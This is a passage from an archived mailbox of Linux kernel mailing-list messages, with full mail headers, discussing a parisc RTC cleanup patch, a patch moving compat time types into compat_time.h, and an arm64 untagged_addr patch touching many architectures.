 pDtHnXliY2mBcp4+fkXoY0TjBmYWifJuphK7YmLGTfssrx6SRSogkU2RwQgb/H4v8NE3roOBP
 fkvDm5hudaAJi3G8jLKqJSvzWaxL9ZaIPt+XKWeBxHyx5Gv1Leoxmm8Ay7v0S3JekIQx7uYx8
 9gfsg8sR9NpYJso09kkMTVbwRNrPdw/EFwXap7ErXbzl+eoZAL4bkdf9jMEGJ9bFxfdQxHrF6
 VhVrrH7l1u9bFVSfi8pTRssOuDIq5/kiHaCcNlPwFs9ShG9U93GuT8CrRF8hu2iVzO0FlcXPH
 BvWcwt+N0HZXHsUdbXXV1Of0k3v0phpP5cz75ODYucpq/PhoxQGk7bvGqFg/iaWNGYyX4YuV0
 ICf17o/33eAfm/y+rzUj7C2tkMSbwHZU/+ee/5AR6hdeZVXMj1e8YbOBQayXpN0iJ07qV/4K9
 gg9pGjorP/cCTkQed+Ue8WnOljG3KPsFyl9bKAxh0QaacDvHAf1EjRNybEyaTMRGiUOYI5l4s
 4ATXCNzL8Zggdc1br0T8yKW3zmWKp0qAYxqzcD51+Iw6TakOF6yTRjqBNPTJR3/ZfzEV4xoE 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2705106 gmane.linux.ports.parisc:28309
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2705106>

On 21.02.2018 22:40, Alexandre Belloni wrote:
> The RTC core is always calling rtc_valid_tm after the read_time callback.
> It is not necessary to call it just before returning from the callback.
> 
> Signed-off-by: Alexandre Belloni <alexandre.belloni@bootlin.com>

Acked-by: Helge Deller <deller@gmx.de>

Thanks!
Helge


> ---
>  arch/parisc/kernel/time.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index 4b8fd6dc22da..f2890bd240f8 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -173,7 +173,7 @@ static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
>  
>  	/* we treat tod_sec as unsigned, so this can work until year 2106 */
>  	rtc_time64_to_tm(tod_data.tod_sec, tm);
> -	return rtc_valid_tm(tm);
> +	return 0;
>  }
>  
>  static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
> 



From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Tue, 6 Mar 2018 14:58:45 -0800
Lines: 64
Approved: news@gmane.org
Message-ID: <CABeXuvrdPV0q4ufuxEnqT6T3b8pCT5RLUfuAZ_cwXr0it8gj0Q@mail.gmail.com>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
 <c6fb6676-a8d3-8893-660c-2b9899c5d5ab@de.ibm.com>
 <CAK8P3a0Gm1L70EaFzJBk0drRNKtX0FE22BHOSrXBgH1wNfKZ5A@mail.gmail.com>
 <d8480da9-afe9-8a43-9c47-50919215a2de@de.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520377023 11822 195.159.176.226 (6 Mar 2018 22:57:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Mar 2018 22:57:03 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Peter Oberparleiter <oberpar@linux.vnet.ibm.com>,
 Robert Richter <rric@kernel.org>, Chris Metcalf <cmetcalf@mellanox.com>,
 Arnd Bergmann <arnd@arndb.de>, Will Deacon <will.deacon@arm.com>,
 Arnaldo Carvalho de Melo <acme@ke
To: Christian Borntraeger <borntraeger@de.ibm.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Mar 06 23:56:55 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp4.osuosl.org ([140.211.166.137] helo=fraxinus.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1etLVk-0000j2-Of
	for glddd-devel@m.gmane.org; Tue, 06 Mar 2018 23:56:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 2C5F0876C5;
	Tue,  6 Mar 2018 22:58:49 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21eRdLmpPf6U; Tue,  6 Mar 2018 22:58:47 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 7514987698;
	Tue,  6 Mar 2018 22:58:47 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from whitealder.osuosl.org (smtp1.osuosl.org [140.211.166.138])
 by ash.osuosl.org (Postfix) with ESMTP id DDECB1CF0AA
 for <devel@linuxdriverproject.org>; Tue,  6 Mar 2018 22:58:46 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by whitealder.osuosl.org (Postfix) with ESMTP id D62B88869E
 for <devel@linuxdriverproject.org>; Tue,  6 Mar 2018 22:58:46 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id yy0-vlZYPTRd for <devel@linuxdriverproject.org>;
 Tue,  6 Mar 2018 22:58:46 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-it0-f68.google.com (mail-it0-f68.google.com
 [209.85.214.68])
 by whitealder.osuosl.org (Postfix) with ESMTPS id 3FD3F8868D
 for <devel@driverdev.osuosl.org>; Tue,  6 Mar 2018 22:58:46 +0000 (UTC)
Original-Received: by mail-it0-f68.google.com with SMTP id u5so967428itc.1
 for <devel@driverdev.osuosl.org>; Tue, 06 Mar 2018 14:58:46 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=9BU1XIJejlcA5+ETQWzkzXQDr4aDP7Pwgh2JjLzXoqo=;
 b=gUraEbqPByk74uy0sAVecF7IxSjDEgzrTN6DWms8H076C945F6C6l+rwqIPv3wS4Q2
 KWSaYCRY2wUMN0BKBF5ZI7uU4pyZoDJd9x7BSIwZBZEVz6JovsGk+x2dUNBxPztrOlv3
 XEK1+QCDF/lPe06K5B2Jf/PqmKFkoeejS6yDn6pOM1dz8paq35EN7NKHpR6oQwhG0AC3
 GEL+6JIZz6nX79cT+4Nm/L9f263VPP9LA/+FynlTil6AIRPNe0j2tbQ7O85iAzz+y41h
 Jxh/ge3nZBd8FyRLvibSkn4W7/UiqVG80TIPNV+ab2apLzmhBAUxGLN3RkefYpiTQ0nj
 zwyQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=9BU1XIJejlcA5+ETQWzkzXQDr4aDP7Pwgh2JjLzXoqo=;
 b=CoMnpdsDU88Vp9hb+6nRP/MHsEP3ytHyuwEAy2rSc2HMcFrB3PNz8lwPFjx3unNtuQ
 bWUIbKnx/beQ6WUwdEGRK5PCKGdINEQQx8LWtlkQR5yNmr3+fBpIs0JgnRRmdt/XBJ8S
 7t4H+kxUigDllrzx/DpCn29srvnJi0hXxR2MGsYuWbD3K4yy2CL8aMxBkivC2DgxPk3i
 IPU8p4F8pZX2Xhilhn4OhdH6fJzYfhsA2bJrIzd6ixLgymU/UtWBNEUAIBO7toUoLcfz
 pcHciP7F2CxT0vznKTpEGgbLvCZq8MMDLNoC9yEEBirGHMhWCK8uONmNWdqxnj2RnkCI
 4jJg==
X-Gm-Message-State: AElRT7E050rCQWCJDygmCg5EakX9SjYXW2WYdh7RgrDen3BhkqmF4DjM
 2Tqch2JCq+cegrVbwgFdeFCvbaw+gLEcZMeCzAE=
X-Google-Smtp-Source: AG47ELsmJN8yNz+BRsMefbs2x+SMW+reVHYxfQ7BxSZZVCKfWHNsSj5DcwWeXuw8MQFANCbTd4ex6/oC1+DGwK0bSt0=
X-Received: by 10.36.55.70 with SMTP id r67mr21242236itr.40.1520377125597;
 Tue, 06 Mar 2018 14:58:45 -0800 (PST)
Original-Received: by 10.107.232.26 with HTTP; Tue, 6 Mar 2018 14:58:45 -0800 (PST)
In-Reply-To: <d8480da9-afe9-8a43-9c47-50919215a2de@de.ibm.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114120 gmane.linux.ports.mips.general:63952 gmane.linux.ports.sparc:27403 gmane.linux.kernel.year-2038:2524 gmane.linux.oprofile:13157 gmane.linux.ports.parisc:28310 gmane.linux.kernel:2705162 gmane.linux.ports.ppc64.devel:154106
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114120>

On Tue, Mar 6, 2018 at 4:48 AM, Christian Borntraeger
<borntraeger@de.ibm.com> wrote:
>
>
> On 03/06/2018 01:46 PM, Arnd Bergmann wrote:
>> On Mon, Mar 5, 2018 at 10:30 AM, Christian Borntraeger
>> <borntraeger@de.ibm.com> wrote:
>>> On 01/16/2018 03:18 AM, Deepa Dinamani wrote:
>>>> All the current architecture specific defines for these
>>>> are the same. Refactor these common defines to a common
>>>> header file.
>>>>
>>>> The new common linux/compat_time.h is also useful as it
>>>> will eventually be used to hold all the defines that
>>>> are needed for compat time types that support non y2038
>>>> safe types. New architectures need not have to define these
>>>> new types as they will only use new y2038 safe syscalls.
>>>> This file can be deleted after y2038 when we stop supporting
>>>> non y2038 safe syscalls.
>>>
>>> You are now include a <linux/*.h> from several asm files
>>> (
>>>  arch/arm64/include/asm/stat.h
>>>  arch/s390/include/asm/elf.h
>>>  arch/x86/include/asm/ftrace.h
>>>  arch/x86/include/asm/sys_ia32.h
>>> )
>>> It works, and it is done in many places, but it looks somewhat weird.
>>> Would it make sense to have an asm-generic/compate-time.h instead? Asking for
>>> opinions here.
>>
>> I don't think we have such a rule. If a header file is common to all
>> architectures (i.e. no architecture uses a different implementation),
>> it should be in include/linux rather than include/asm-generic, regardless
>> of whether it can be used by assembler files or not.
>>
>>>> --- a/drivers/s390/net/qeth_core_main.c
>>>> +++ b/drivers/s390/net/qeth_core_main.c
>>>> @@ -32,7 +32,7 @@
>>>>  #include <asm/chpid.h>
>>>>  #include <asm/io.h>
>>>>  #include <asm/sysinfo.h>
>>>> -#include <asm/compat.h>
>>>> +#include <linux/compat.h>
>>>>  #include <asm/diag.h>
>>>>  #include <asm/cio.h>
>>>>  #include <asm/ccwdev.h>
>>>
>>> Can you move that into the other includes (where all the other <linux/*> includes are.
>>
>> Good catch, this is definitely a rule we have ;-)
>
> FWIW, this was also broken for
> arch/x86/include/asm/sys_ia32.h

The reason that this was done this way is because of the sed script
mentioned in the commit text.
I was trying to make minimal change apart from the script so that we
don't have other changes like moving the lines to keep the patch
simpler.
I will fix this by hand since this is preferred.
I will post an update.

-Deepa

From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH 6/6] arch: add untagged_addr definition for other
 arches
Date: Fri, 9 Mar 2018 15:11:27 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <CAK8P3a0NZfxoxeJbrebBmZDqQhD9s12xpUwMoM-rZzH8aezuYA@mail.gmail.com>
References: <cover.1520600533.git.andreyknvl@google.com>
 <89b4bb181a0622d2c581699bb3814fc041078d04.1520600533.git.andreyknvl@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520604595 9124 195.159.176.226 (9 Mar 2018 14:09:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Mar 2018 14:09:55 +0000 (UTC)
Cc: "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Linux-sh list <linux-sh@vger.kernel.org>, Lee Smith <Lee.Smith@arm.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Shaohua Li <shli@fb.com>, linux-arch <linux-arch@vger.kernel.org>,
 Jacob Bramley <Jacob.Bramley@arm.com>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E . J . Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Evgeniy Stepanov <eugenis@google.com>,
 Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
 adi-buildroot-devel@lists.sourceforge.net,
 Mike Rapoport <rppt@linux.vnet.ibm.com>, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com,
To: Andrey Konovalov <andreyknvl@google.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 09 15:09:41 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1euIiK-00025N-5x
	for gla-linux-snps-arc@m.gmane.org; Fri, 09 Mar 2018 15:09:41 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=il08h2pS+JuO/Xf8IzHugvD8GtIkbLtP79YNgpIiKJ4=; b=BpfRuOBP0OXA0C
	bdY1596T0AsTeKhTDr5oyO1R6WEm8iOjjiF0vsa1wdwcYmSo5vpBEk7FJB5AEE8ObOkkftfH/gM8J
	42BVTAfHg9PevG/nCmUueYN67IsgoKYridsOfAwCAPSaOXzJdsNn5aKLjeJxoNNZ2C8lVlvJhFMIl
	Oabt4f00R1Et8HQcRVej170s9s0ajCFpu5eBgnR4xxaxjGDvfaV1fZ+cNO/AXWEbYRr+2V2KMftUa
	ezkE4xqHJBej9s6KJrq5UF21jqIALGsb2Mvc4ytHedMbdM3N5TdjSyGR/m4jirLQMHDAJZwn3zeFr
	eMG/nj+vWNc19bm+JZGg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1euIkK-0007ue-8I; Fri, 09 Mar 2018 14:11:44 +0000
Original-Received: from mail-qt0-x243.google.com ([2607:f8b0:400d:c0d::243])
 by bombadil.infradead.org with esmtps (Exim 4.89 #1 (Red Hat Linux))
 id 1euIkF-0007rv-Sy; Fri, 09 Mar 2018 14:11:41 +0000
Original-Received: by mail-qt0-x243.google.com with SMTP id g60so10742274qtd.11;
 Fri, 09 Mar 2018 06:11:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=tF6zZXjW2bG3tvxAqVdgADG8UGDkuePshWcNRfG/vQw=;
 b=MVJ6Fg/Y0mmk9ErRwgCsKUl76iZH2bNTp+rtBFbumIES8A9UMiPC+OVy1bs+DcS3B6
 P/3B/Qd+M1DuG8ZOMCgitqnEe0mIL9B/DfsRbX3SX/vdjHWUvcbrN59SH/NALATISFt+
 P9auRfJrrNpjMU7bBnj7GmwqlAAkv9NLNLVVoZv0uiY3eq4MYM6KvDyHmGikgfc7LRVS
 FnQZl48EBm18gMX4/18DJhtrHXcrAdDA5PLjIxjgK7lYG2h/vpU1nwUZMMV6OMLVBHi4
 QL31J7B1Bic3A8vEjBlSKS/NgD/4bljJBSCM907QZ5Lv6VChZSQXPuz8EDFxozoqIUYc
 JllQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=tF6zZXjW2bG3tvxAqVdgADG8UGDkuePshWcNRfG/vQw=;
 b=AVCwTO9ImmsKLAkEBaGlOvwNqyvUrVwJP61BLhubNODXSmVPqW3b56HubjGlC6yqAZ
 49N59fJZrpRzkOOWz3oZHA1ijcBXAKqMPwpU4nHMSD3NXOWgQrz5QLzal1qmXuiksZmY
 iPCgH3RReoF77yJtkQZiYw8NuG/w+qIcopN+OH5FJpgdjdVCnaMwVyxHF2ztQgMLYUnb
 LAEqgI5jvgcJZRHhjjIbURe4r9B18JhY2sRGgBgt06SzaT9Vs312uVo8HVZn/eS1R8iz
 BTv4Jg0pitd+pYLR5EqbaTmcAoRABZgkQ4GVglTyaIimsS7424FfQJSV4Cy6aKdfb+jG
 Ndcg==
X-Gm-Message-State: AElRT7GdWrQZ7IS61A/ogsEVy1unLaaCOpIeQc69Rd1A9cf68Y+S4w89
 crkPhhrxcxvD0Z8xUmUIuxfwSF66AIvS6MjvehY=
X-Google-Smtp-Source: AG47ELudBm0ltbuv8sQtqqx0ftVoWeC0hnUtpTPI4t6MtguuOWtTS+YvP0xQ+JqV/69bFVsX6UyOUDDp6easiPV+HPA=
X-Received: by 10.237.56.234 with SMTP id k97mr46245460qte.35.1520604688254;
 Fri, 09 Mar 2018 06:11:28 -0800 (PST)
Original-Received: by 10.12.185.46 with HTTP; Fri, 9 Mar 2018 06:11:27 -0800 (PST)
In-Reply-To: <89b4bb181a0622d2c581699bb3814fc041078d04.1520600533.git.andreyknvl@google.com>
X-Google-Sender-Auth: W3i2gvxkZWph6HnLGbwzULFKbgE
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180309_061140_002921_683D4207 
X-CRM114-Status: GOOD (  14.72  )
X-Spam-Score: -1.4 (-)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-1.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:400d:c0d:0:0:0:243 listed in] [list.dnswl.org]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (arndbergmann[at]gmail.com)
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom
 freemail headers are different
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3556 gmane.linux.ports.mips.general:63984 gmane.linux.ports.sh.devel:56626 gmane.linux.kernel.cross-arch:42565 gmane.linux.kernel:2708811 gmane.linux.ports.ia64:28685 gmane.linux.kernel.metag:1691 gmane.linux.ports.arm.kernel:637191 gmane.linux.ports.parisc:28311 gmane.linux.ports.alpha:4783 gmane.linux.kernel.mm:191097 gmane.linux.ports.sparc:27404 gmane.linux.ports.ppc64.devel:154221
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3556>

On Fri, Mar 9, 2018 at 3:02 PM, Andrey Konovalov <andreyknvl@google.com> wrote:
> To allow arm64 syscalls accept tagged pointers from userspace, we must
> untag them when they are passed to the kernel. Since untagging is done in
> generic parts of the kernel (like the mm subsystem), the untagged_addr
> macro should be defined for all architectures.
>
> Define it as a noop for all other architectures besides arm64.
>
> Signed-off-by: Andrey Konovalov <andreyknvl@google.com>
> ---
>  arch/alpha/include/asm/uaccess.h      | 2 ++
>  arch/arc/include/asm/uaccess.h        | 1 +
>  arch/arm/include/asm/uaccess.h        | 2 ++
>  arch/blackfin/include/asm/uaccess.h   | 2 ++
>  arch/c6x/include/asm/uaccess.h        | 2 ++
>  arch/cris/include/asm/uaccess.h       | 2 ++
>  arch/frv/include/asm/uaccess.h        | 2 ++
>  arch/ia64/include/asm/uaccess.h       | 2 ++
>  arch/m32r/include/asm/uaccess.h       | 2 ++
>  arch/m68k/include/asm/uaccess.h       | 2 ++
>  arch/metag/include/asm/uaccess.h      | 2 ++
>  arch/microblaze/include/asm/uaccess.h | 2 ++
>  arch/mips/include/asm/uaccess.h       | 2 ++
>  arch/mn10300/include/asm/uaccess.h    | 2 ++
>  arch/nios2/include/asm/uaccess.h      | 2 ++
>  arch/openrisc/include/asm/uaccess.h   | 2 ++
>  arch/parisc/include/asm/uaccess.h     | 2 ++
>  arch/powerpc/include/asm/uaccess.h    | 2 ++
>  arch/riscv/include/asm/uaccess.h      | 2 ++
>  arch/score/include/asm/uaccess.h      | 2 ++
>  arch/sh/include/asm/uaccess.h         | 2 ++
>  arch/sparc/include/asm/uaccess.h      | 2 ++
>  arch/tile/include/asm/uaccess.h       | 2 ++
>  arch/x86/include/asm/uaccess.h        | 2 ++
>  arch/xtensa/include/asm/uaccess.h     | 2 ++
>  include/asm-generic/uaccess.h         | 2 ++
>  26 files changed, 51 insertions(+)

I have patches to remove the blackfin, cris, frv, m32r, metag, mn10300,
score, tile and unicore32 architectures from the kernel, these should be
part of linux-next in the next few days. It's not a big issue, but if you keep
patching them, this will cause a merge conflict.

It might be easier to drop them from your patch as well.

    Arnd

From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrey Konovalov <andreyknvl@google.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH 6/6] arch: add untagged_addr definition for other
 arches
Date: Fri, 9 Mar 2018 16:47:23 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <CAAeHK+y=_imh4uNSAg_vj3DLAeDLcVP3a4f79dNMW=Ot5oLiZQ@mail.gmail.com>
References: <cover.1520600533.git.andreyknvl@google.com>
 <89b4bb181a0622d2c581699bb3814fc041078d04.1520600533.git.andreyknvl@google.com>
 <b320ff92-43ae-a479-35aa-4257b9c5430e@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520610380 10405 195.159.176.226 (9 Mar 2018 15:46:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Mar 2018 15:46:20 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Lee Smith <Lee.Smith@arm.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Shaohua Li <shli@fb.com>, linux-arch@vger.kernel.org,
 Jacob Bramley <Jacob.Bramley@arm.com>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E . J . Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Evgeniy Stepanov <eugenis@google.com>,
 Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
 adi-buildroot-devel@lists.sourceforge.net,
 Mike Rapoport <rppt@linux.vnet.ibm.com>, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 LKML <linux-kernel
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 09 16:46:07 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1euKDf-0002Rw-Dl
	for gla-linux-snps-arc@m.gmane.org; Fri, 09 Mar 2018 16:46:07 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
